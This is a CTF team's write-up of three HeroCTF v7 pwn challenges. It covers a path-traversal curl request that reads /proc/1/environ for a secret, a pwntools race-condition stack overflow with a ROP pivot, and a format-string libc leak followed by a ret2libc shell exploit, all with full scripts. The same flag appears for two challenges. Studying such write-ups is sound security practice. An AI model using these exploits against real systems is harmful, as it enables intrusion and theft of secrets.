team-logo
Published on

HeroCTF v7 - PWN challenges

Authors

Introduction

Between November 28 and 30, 2025, the French CTF HeroCTF v7 took place. As the name suggests, it was the seventh edition. The event was highly rated, scoring over 65.00. More than 1,000 teams participated; we finished in 27th place. Here I describe the PWN category challenges. We solved 3 out of 5 challenges. Two of them were labeled "easy", but they definitely weren’t that easy. More information about the CTF is available here.

all

Paf Traversal

pwn-1

Writeup authors: michalBB and kerszi

This task was labeled easy, but it was not among the very easy ones. Building the Docker image provided by the authors revealed a page where you could upload wordlists and crack hashes.

pwn-1-1.png

It was an audit of a hash-cracking platform consisting of two components: an API server in Go and a helper cracker service in C communicating via FIFO. At first glance it looked like a classic pwn: binaries, a forking process, hashing functions, function pointers, and even a potential out-of-bounds in the function pointer table with an incorrect algo_type that indeed crashes.

That was a trap – the bug was unnecessary and did not yield a stable RCE because you do not control the memory interpreted as a pointer. The real issue was in the Go API, which had an endpoint allowing download of wordlists. The file retrieval code sanitized the name for display, but for actually opening the file it used the raw user supplied path, giving full path traversal and allowing reading any file in the container if its exact path was known. The initial idea was to read /app/flag_<random_hex>.txt, but that filename is generated by $(openssl rand -hex 8) in entrypoint.sh, making brute force unrealistic, and the FLAG environment variable is immediately unset so it is absent from /proc/self/environ.

There was considerable struggle and the task was finished by MichalBB. The key was that entrypoint.sh launched the API process as PID 1, and unsetting FLAG removed it only from the script’s environment, not from the already inherited environment of PID 1. Consequently PID 1 still retained the original flag. Using path traversal it was enough to fetch /proc/1/environ instead of /proc/self/environ; extracting it yielded the full FLAG variable with the HeroCTF flag. The challenge was a clever mix of apparent pwn and real web security: instead of exploiting the cracker, you leveraged path traversal, accessed /proc, took the ENV of PID 1, and obtained the flag.

Solution

curl -s http://dyn06.heroctf.fr:14457/api/wordlist/download -H "Content-Type: application/json" -d '{"filename":"../../../../proc/1/environ"}'

Hero{971e70feb761e8daf0abcb7eb7376bff2}

Story Contest

pwn-2

Writeup author: kerszi

This challenge is a classic multithreaded service where participants can submit a short story, view the previous one, and—most importantly—display the contest results. Unfortunately, the system was implemented in a way vulnerable to a race condition and a classic stack buffer overflow.

Effect? You can seize control of execution and force a read of the flag intended only for “bonus participants,” but the details come later.

How the program works

The server listens on TCP port 5555. It spawns a new thread for each connection (client_thread).

./storycontest
StoryJury listening on port 5555

Run nc in another terminal and you’ll see:

nc localhost 5555

that five options are supported:

=== StoryJury ===
1) Submit a story
2) Show last story
3) Show jury info
4) Show results
5) Quit
>

Each thread communicates via its own file descriptor (fd), stored in a local variable:

mov eax, dword ptr [rbp - 0xc]
mov edi, eax          ; fd -> EDI

This matters because we will need to reconstruct fd in our ROP chain.

Key part: submit_story

Submitting a story looks like this (simplified):

int len = recv_int(fd);
if (len <= 0) return;

g_story_len = len;           // GLOBAL VARIABLE!

if (g_story_len > 0x80) {
    puts("Right now we cannot process stories that long.");
    return;                  // BUT g_story_len IS NOT RESET
}

printf("The jury is thinking (0.5s)...\n");
usleep(500000);              // half a second sleep

char buf[128];
read(fd, buf, g_story_len);  // USES THE GLOBAL g_story_len

The server:

  • accepts a length,
  • checks whether the length ≤ 128 bytes,
  • sleeps for 0.5 seconds,
  • only after waking up performs read(..., g_story_len).
  • The check and the use are separated.

The global variable = gateway to the exploit

Critical bug:

  • g_story_len is global and shared across all threads.
  • Right after len = recv_int(fd), the thread writes g_story_len = len.
  • If the limit is too large, the function returns without restoring the previous value.

Race condition

We need two connections: A and B.

Thread A (victim)

  1. Chooses option 1 (Submit).
  2. Provides a limit of 128 bytes.
  3. The function sets g_story_len = 128, passes the check, and sleeps for 0.5s.

Thread B (attacker thread)

  1. Chooses option 1.
  2. Provides a large limit, e.g., 1000.
  3. The function sets g_story_len = 1000 and then returns because the limit is exceeded.

Thread A wakes up after usleep() and executes: read(fd_A, buf, g_story_len) and g_story_len = 1000.

Result: a stack buffer overflow in thread A.

Buffer overflow

Overwriting past the end of the local buffer allows us to overwrite:

  • the saved base pointer (RBP),
  • and the saved return address (RIP).

This gives full control over the control flow of the target thread.

The binary exposes a very convenient function:

bonus_entry(int arg) {
    if (arg == 0x1337c0de)
        bonus_enabled = 1;
}

The value bonus_enabled must be set to 1 in order to unlock access to the flag inside the results_entry function.

Rather than calling bonus_entry normally (which would require controlling RDI and passing the magic value), we simply jump into the middle of the function, directly onto the instruction that sets the bonus:

mov dword ptr [bonus_enabled], 1

By placing the address of this instruction into the overwritten RIP, we immediately enable the bonus flag without needing to satisfy the comparison.

Pivoting RBP into .bss

After enabling the bonus, execution continues inside bonus_entry, which ends with:

pop rbp
ret

Since pop rbp loads whatever is on the stack into RBP, we can use this to pivot RBP into the .bss section, specifically into the global buffer last_story, which we also control.

This is essential because client_thread uses local variables accessed through [rbp - offset]. One of them is the file descriptor associated with the thread:

mov eax, dword ptr [rbp - 0xc]   ; fd
mov edi, eax
call show_menu

Thus, to allow the thread to continue operating normally after our ROP chain, we craft .bss memory to contain the correct thread’s file descriptor (e.g., 5, the fd of the thread we are exploiting) at the location [fake_rbp - 0xc]. This value is injected directly via the story buffer (last_story), since the overflow allows us to control its contents.

By doing this:

  • bonus_enabled = 1
  • rbp = fake_rbp in .bss
  • the thread’s logic continues cleanly at client_thread+70 with the proper fd restored.

Returning to the Menu and Getting the Flag

Finally, we set the return address after pop rbp to point to a safe location in the client_thread loop, typically the instruction right after the call to submit_story:

client_thread+70:
    mov eax, [rbp - 0xc]   ; fd restored from .bss
    mov edi, eax           ; pass fd to menu
    call show_menu

Since show_menu and the rest of the thread now run normally (with the correct fd restored), we can simply choose option 4 (“Show results”).

Because we already enabled the bonus:

if (bonus_enabled != 0)
    results_entry(fd);

this results in the server reading flag.txt and sending the flag back to us over the same socket.

Solution

from pwn import *
from sympy import Q

context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root


HOST = "nc 127.0.0.1 5555"
HOST = "nc dyn04.heroctf.fr 10401"
ADDRESS, PORT = HOST.split()[1:]

# Połączenie A – ofiara (ten wątek, w którym chcemy overflow)
pA = remote(ADDRESS, PORT)

# Połączenie B – truciciel (psuje globalny g_story_len)
pB = remote(ADDRESS, PORT)

# ---------- WĄTEK A: ustawiamy 128 i wchodzimy w usleep ----------
pA.recvuntil(b'>')
pA.sendline(b'1')
pA.recvuntil(b'Choose a length limit for your story:')
pA.sendline(b'128')

# serwer teraz wypisze "The jury is thinking (0.5s)..." i pójdzie spać
# możemy sobie to odebrać, żeby nie mieszać bufora:
pA.recvuntil(b'(0.5s)...')

# ---------- WĄTEK B: w tym czasie ustawiamy DUŻY g_story_len ----------
pB.recvuntil(b'>')
pB.sendline(b'1')
pB.recvuntil(b'Choose a length limit for your story:')
pB.sendline(b'1000')          # > 128, więc "za duże"
# odbierz komunikat o błędzie, żeby bufor był czysty
pB.recvline()                  # "Right now, we cannot process stories that long."

# w tym momencie globalne g_story_len == 1000 (lub co tam podasz)

# ---------- WĄTEK A: budzi się i chce story, my ładujemy overflow ----------
pA.recvuntil(b'Now type your story:')

# na razie po prostu duży payload, żeby zobaczyć crash / kontrolę
#payload = 150*(b'B')+p64(12345678)+p64(12345678)
bonus_enabled=0x401612
RET_AFTER_SUBMIT = 0x401c14

RBP=0x404160+0xc
#payload = cyclic(168)+p64(bonus_enabled)+p64(RB)+p64(0x404070)
payload = p32(0x05)+cyclic(164)+p64(bonus_enabled)+p64(RBP)+p64(RET_AFTER_SUBMIT)
pA.sendline(payload)
# zostawiamy interaktywne połączenie, żeby obejrzeć zachowanie
#pA.interactive()
pB.interactive()

Hero{971e70feb761e8daf0abcb7eb7376bff2}

Crash

pwn-3

Writeup author: kerszi

This task was marked medium, but it fit my favorite category: semi-blind pwn. Superficially it looked like a classic blind format-string, but the twist was the organizers provided a core dump and a Dockerfile with gdb so we could recreate the server environment and analyze the crash caused by a failed previous attempt.

It was my first time reconstructing process context purely from a core dump, so at first I was unsure how to proceed. I began with typical blind format-string probing, scanning %1$p->%100$p to see stack contents:

[!] 1: b'%1$p' RECV:  b'0x1'
[!] 2: b'%2$p' RECV:  b'0x1'
[!] 3: b'%3$p' RECV:  b'0x4'
[!] 4: b'%4$p' RECV:  b'0x1'
[!] 5: b'%5$p' RECV:  b'(nil)'
[!] 6: b'%6$p' RECV:  b'0x7fff6685e1b8'
[!] 7: b'%7$p' RECV:  b'0x7fff8f7ff1e0'
[!] 8: b'%8$p' RECV:  b'0x7ffd2ed259e0'
[!] 9: b'%9$p' RECV:  b'0x55cd90d98276'
[!] 10: b'%10$p' RECV:  b'0x7024303125'
[!] 11: b'%11$p' RECV:  b'(nil)'
[!] 12: b'%12$p' RECV:  b'(nil)'
[!] 13: b'%13$p' RECV:  b'(nil)'
[!] 14: b'%14$p' RECV:  b'(nil)'
[!] 15: b'%15$p' RECV:  b'0x7fa371f08f70'
[!] 16: b'%16$p' RECV:  b'(nil)'
[!] 17: b'%17$p' RECV:  b'0x7f071e95fad0'
[!] 18: b'%18$p' RECV:  b'0x1'
[!] 19: b'%19$p' RECV:  b'0x7ff59a4cf24a'
[!] 20: b'%20$p' RECV:  b'0x7ffd88251800'
[!] 21: b'%21$p' RECV:  b'0x5636d540a1d8'
[!] 22: b'%22$p' RECV:  b'0x176414040'
[!] 23: b'%23$p' RECV:  b'0x7ffd49d7fb28'
[!] 24: b'%24$p' RECV:  b'0x7ffda7a48718'
[!] 25: b'%25$p' RECV:  b'0x4166ad5a5795d2c'
[!] 26: b'%26$p' RECV:  b'(nil)'
...

At that point I only knew:

  • there is a format-string vulnerability,
  • the program exits right after entering Name and Description,
  • it does not loop, so you cannot easily return to main,
  • a previous player tried something and crashed it.

I had not realized yet that I could simply run:

gdb -c core
pwn-3-2 You could do this inside the supplied Docker image, but I used my own pwngdb setup—result was equivalent.

Core Dump Analysis

Starting gdb:

gdb -c core

Immediately the essential state appeared:

  • rbp = 0x4141414141414141
  • rip = 0x4141414141414141
  • a long contiguous AAAAA… block on the stack

Conclusion: a full stack-based buffer overflow reaching RIP.

Additionally, the core still contained remnants of the previous attacker’s payload: [stack] 0x7ffe59ca0ea0 '%4$p.%7$p.%19$p\n

So they had a leak, then attempted an exploit, but smashed RIP with junk leaving us a perfect crash snapshot.

Recovering libc base from the leak

From my scan:

%19$p -> 0x7ff59a4cf24a

From the Docker-provided libc (2.36):

__libc_start_main_ret = 0x2724a
system                = 0x4c490
str_bin_sh            = 0x197031

Therefore:

libc_base = leak_19 - 0x2724a

Offsets verified via libcdb:

pwn libcdb file libc.so.6
[*] libc.so.6
    Version:     2.36
    BuildID:     6196744a316dbd57c0fd8968df1680aac482cec4
    Symbols:
        __libc_start_main_ret = 0x2724a
        system = 0x4c490
        str_bin_sh = 0x197031

Done: libc_base computed.

Calculating the RIP Offset

From the core layout:

0x7ffe59ca1130  <- start of 'AAAA…'
...
0x7ffe59ca1150  <- saved rbp (AAAA…)
0x7ffe59ca1158  <- saved rip (AAAA…)

Difference:

0x1158 - 0x1130 = 0x28 = 40 bytes

So:

padding = 40
payload = b"A"*40 + p64(ROP_chain_start)

Confirmed: 48 total A’s on stack, last 8 = RIP.

Final Exploit: ret2libc

We have:

  • a format-string leak,
  • exact libc_base,
  • stack overflow to RIP,
  • known libc version (2.36).

ROP chain:

  1. Find pop rdi; ret gadget.
  2. Build:
payload = b"A"*40 \
        + p64(pop_rdi_ret) \
        + p64(libc_base + 0x197031) \  # "/bin/sh"
        + p64(libc_base + 0x4c490)     # system

Optionally insert an extra ret for alignment (avoids movaps issues).

Flow:

  • First request: send %19$p to leak.
  • Second request: overflow with ret2libc payload.
  • Result: immediate shell.

Minimal, reliable, two-step exploitation.

Solution

context.log_level = 'warning'

context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe']

HOST="nc dyn08.heroctf.fr 11355"
HOST="nc dyn01.heroctf.fr 13010"
ADDRESS,PORT=HOST.split()[1:]

p = remote(ADDRESS, PORT)
payload=b'%19$p'
p.sendlineafter(b"Name",payload)
p.recvline()
STACK=p.recvline().strip()
idx = STACK.find(b'Description')
if idx != -1:
    recv = STACK[:idx].strip()
warn (f"{payload} RECV:  {recv}")
libc_start=int(recv,16)-0x2724a
warn (f"LIBC_START:  {libc_start:#x}")
ret=libc_start+0x277e6
pop_rdi=libc_start+0x277e5
str_bin_sh=libc_start+0x197031
system=libc_start+0x4c490
payload=40*b'A'+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

Hero{d2d8c417232c1b8e0abc91b8a542e55259ebbac5}

Bonus

You can find all test resources—including the correct Crash task binary—here: https://github.com/MindCraftersi/ctf/tree/main/2025/heroctf-v7/pwn